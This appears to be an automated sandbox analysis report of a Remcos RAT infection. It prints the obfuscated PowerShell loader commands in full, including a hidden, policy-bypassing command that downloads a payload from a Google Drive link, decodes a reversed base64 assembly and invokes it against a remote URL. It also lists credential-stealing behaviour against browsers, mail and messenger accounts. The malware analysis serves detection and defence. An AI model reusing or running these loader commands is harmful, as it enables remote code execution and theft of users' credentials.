iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jfryohmgicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagyurelvr5ugugicagicagicagicagicagicagicagicagicagicatbwvtymvsrgvgsu5pvglvtiagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvckxtb04ilcagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicbotxr3u0fmlhn0cmluzyagicagicagicagicagicagicagicagicagicagiglxrlfywcxzdhjpbmcgicagicagicagicagicagicagicagicagicagicbsv05uv1btu3vacyx1aw50icagicagicagicagicagicagicagicagicagicagsurnekqssw50uhryicagicagicagicagicagicagicagicagicagicagr0nerfpytkjnexupoycgicagicagicagicagicagicagicagicagicagicattmfnrsagicagicagicagicagicagicagicagicagicagicjhdudtbnpkwiigicagicagicagicagicagicagicagicagicagicatbmftrvnqywnficagicagicagicagicagicagicagicagicagicags3njq3lpzlhzeekgicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagjfryohm6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xmdeumjevndeyl3nlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrozxjiywnrlnrjriisiirftny6qvbqrefuqvxzzwv0agvizxn0dghpbmdzz2l2aw5ncmvuzxjnexrvbxllbnrpcmvsawzlzm9yz2v0ac5wqnmildasmck7u3rbunqtc2xlzxaomyk7c3rbulqgicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzxrozwjlc3r0agluz3nnaxzpbmdyzw5lcmd5dg9tewvudglyzwxpzmvmb3jnzxrollzccyi='+[char]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jigor2vulvzbumlhqmxficcqburskicplk5btuvbmywxmswyxs1kt0lujycpkcaokcc3jysnvk1pbwfnzvvybca9ihptd2h0dhbzoi8vzhjpdmuujysnz29vz2xllmnvbs91yz9lehbvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrhzvaejzd3vyihptdzs3vk13zwjdbgknkydlbnqgpsbozxctt2jqzwn0jysnifn5c3rlbs5ozxquv2viq2xpzw50ozdwtwknkydtywdlqnl0zxmgpsa3vk13zwjdbgllbnqurg93bmxvywreyxrhkddwtwltywdlvxjskts3vk1pbwfnzvrlehqgpsankydbu3lzdgvtllrlehqurw5jb2rpbmddojpvvccrj0ynkyc4lkdldfn0cmluzyg3vk1pbwfnzuj5dgvzkts3vk1zdgfydezsywcgpsb6bxc8pejbuycrj0u2nf9tvefsvd4+em13ozdwtwvuzezsywcgpsb6bxc8pejbu0u2jysnnf9ftkq+pnptdzs3vk1zdgfydelujysnzgv4id0gnycrj1znaw1hz2vuzxh0lkluzgv4t2yon1znc3rhcnrgbgfnkts3vk1lbmrjbmrleca9iddwtwltywcnkydlvgv4dc5jbmrlee9mkddwtwvuzezsywcpozdwtxn0jysnyxj0sw5kzxgglscrj2dlidaglwfuzca3vk1lbmrjbmqnkydlecatz3qgn1znc3rhcnrjbmrleccrjzs3vk1zdgfydeluzgv4ics9iddwtxn0yxj0rmxhzy5mzw5ndgg7n1znjysnymfzzty0tgvuz3roid0gjysnnycrj1znzw5ksw5kzxgglsa3vicrj01zdgenkydydeluzgv4ozdwtwjhc2u2nenvbw1hbmqgpsa3vk1pbwfnzvrlehquu3vijysnc3ryaw5nkddwtxn0yxj0sw5kzxgsiddwtwjhc2u2nexlbmd0ack7n1znjysnymfzzty0umv2zxjzzwqgpsatam9pbiaon1ynkydnyicrj2fzzty0q29tbwfuzc5ub0noyxjbcnjhesgpihjwocbgb3jfywnolu9iamvjdcb7iddwtv8gfslblteuli0on1znymenkydzzty0q29tbwfuzc5mzw5ndggpxts3vk1jb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm8nkydtqmfzzty0u3ryaw5nkddwtwjhc2u2nfjldmvycycrj2vkkts3vk0nkydsb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqon1zny29tbwfuzej5dgvzkts3vk12ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkhptd1zbsxptdyk7n1zndmfptwv0ag9klkludm9rzsg3vk1udwxslcankydakhptd3r4dc5uvfinkyddtuxmlzixnc8xmi4xjysnmdeumy4yotevlzpwdhroem13lcb6bxdkzxnhdgl2ywrvem13lcb6bxdkzxnhdgl2yscrj2rvem13lcb6bxdkzxnhdgl2ywrvem13lcb6bxddyxnqb2x6bxcsihptd2rlc2f0axzhzccrj296bxcsihptd2rlc2f0axzhzg96bxcsem13zgvzyxrpdmfkb3ptdyx6bxdkzxnhdgl2ywrvem13lhptd2rlc2f0axynkydhzg96bxcsem13zgvzyxrpdmfkb3ptdyx6bxdkzxnhdgl2jysnywrveicrj213lhptdzf6bxcsem13zgvzyxrpdmfkb3ptdykpoycpicatckvqbefdzsancna4jyxbq0hhcl0xmjqgic1jcmvqbgfdrsagkftdsgfyxteymitbq0hhcl0xmdkrw0niyxjdmte5ksxbq0hhcl0zos1jcmvqbgfdrshbq0hhcl01nstbq0hhcl04nitbq0hhcl03nyksw0niyxjdmzypkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "&((get-variable '*mdr*').name[3,11,2]-join'')( (('7'+'vmimageurl = zmwhttps://drive.'+'google.com/uc?export=download&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur zmw;7vmwebcli'+'ent = new-object'+' system.net.webclient;7vmi'+'magebytes = 7vmwebclient.downloaddata(7vmimageurl);7vmimagetext = '+'[system.text.encoding]::ut'+'f'+'8.getstring(7vmimagebytes);7vmstartflag = zmw<<bas'+'e64_start>>zmw;7vmendflag = zmw<<base6'+'4_end>>zmw;7vmstartin'+'dex = 7'+'vmimagetext.indexof(7vmstartflag);7vmendindex = 7vmimag'+'etext.indexof(7vmendflag);7vmst'+'artindex -'+'ge 0 -and 7vmendind'+'ex -gt 7vmstartindex'+';7vmstartindex += 7vmstartflag.length;7vm'+'base64length = '+'7'+'vmendindex - 7v'+'msta'+'rtindex;7vmbase64command = 7vmimagetext.sub'+'string(7vmstartindex, 7vmbase64length);7vm'+'base64reversed = -join (7v'+'mb'+'ase64command.tochararray() rp8 foreach-object { 7vm_ })[-1..-(7vmba'+'se64command.length)];7vmcommandbytes = [system.convert]::fro'+'mbase64string(7vmbase64revers'+'ed);7vm'+'loadedassembly = [system.reflection.assembly]::load(7vmcommandbytes);7vmvaimethod = [dnlib.io.home].getmethod(zmwvaizmw);7vmvaimethod.invoke(7vmnull, '+'@(zmwtxt.ttr'+'cmll/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwcaspolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -replace 'rp8',[char]124 -creplace ([char]122+[char]109+[char]119),[char]39-creplace([char]55+[char]86+[char]77),[char]36))"
                Source: CasPol.exe, 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagersCOMPU6
                Source: CasPol.exe, 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                Source: CasPol.exe, 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, logs.dat.26.drBinary or memory string: [Program Manager]
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00434CB6 cpuid 26_2_00434CB6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,26_2_0045201B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,26_2_004520B6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,26_2_00452143
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,26_2_00452393
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,26_2_00448484
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,26_2_004524BC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,26_2_004525C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,26_2_00452690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,26_2_0044896D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoA,26_2_0040F90C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: IsValidCodePage,GetLocaleInfoW,26_2_00451D58
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,26_2_00451FD0
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004489D7 GetSystemTimeAsFileTime,26_2_004489D7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041B69E GetComputerNameExW,GetUserNameW,26_2_0041B69E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,26_2_00449210
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0041739B GetVersionExW,28_2_0041739B
                Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656033427.00000000007BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656339540.0000000000831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Contains functionality to steal Chrome passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data26_2_0040BA4D
                Contains functionality to steal Firefox passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\26_2_0040BB6B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \key3.db26_2_0040BB6B
                Searches for Windows Mail specific files
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqlite
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db
                Tries to steal Instant Messenger accounts or passwords
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Paltalk
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
